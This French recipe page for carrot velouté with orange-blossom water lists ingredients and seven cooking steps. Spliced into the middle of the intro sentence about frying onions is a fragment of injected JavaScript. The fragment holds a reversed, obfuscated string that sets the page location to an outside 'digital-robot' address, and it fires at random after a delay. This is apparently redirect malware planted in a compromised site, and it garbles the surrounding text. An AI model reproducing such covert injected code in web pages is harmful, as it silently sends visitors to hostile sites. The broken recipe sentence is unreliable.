Velouté de carottes avec de la fleur d’oranger

2021-05-01

Pelez, rincez, coupez en petits dés les carottes. Pelez, émincez les oignons. Dans une grande casserole avec l’huile d’arachide, sur feu moyen faites revenir les oignons, tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant jusqu’à ce qu’ils soient translucides.

Ingrédients

  • Pour 4 personnes
  • 400 g de carottes
  • 2 oignons
  • 8 dl de bouillon de volaille
  • 2 cuillères à soupe d'huile d'arachide
  • 4 cuillères à soupe de préparation fromagère à l'emmental en pot
  • 2 cuillères à café d'eau de fleur d'oranger
  • Sel – Poivre

Préparation de la recette

Etape 1

Pelez, rincez, coupez en petits dés les carottes.

Etape 2

Pelez, émincez les oignons.

Etape 3

Dans une grande casserole avec l'huile d'arachide, sur feu moyen faites revenir les oignons, tout en remuant jusqu'à ce qu'ils soient translucides.

Etape 4

Incorporez les carottes, mélangez et mouillez avec le bouillon de volaille et laissez cuire pendant 20 minutes.

Etape 5

Mixez.Vérifiez la cuisson.

Etape 6

Goûtez l'assaisonnement, incorporez la préparation fromagère, l'eau de fleur d'oranger, faites chauffer ensembles sur feu doux.

Etape 7

Et dégustez.

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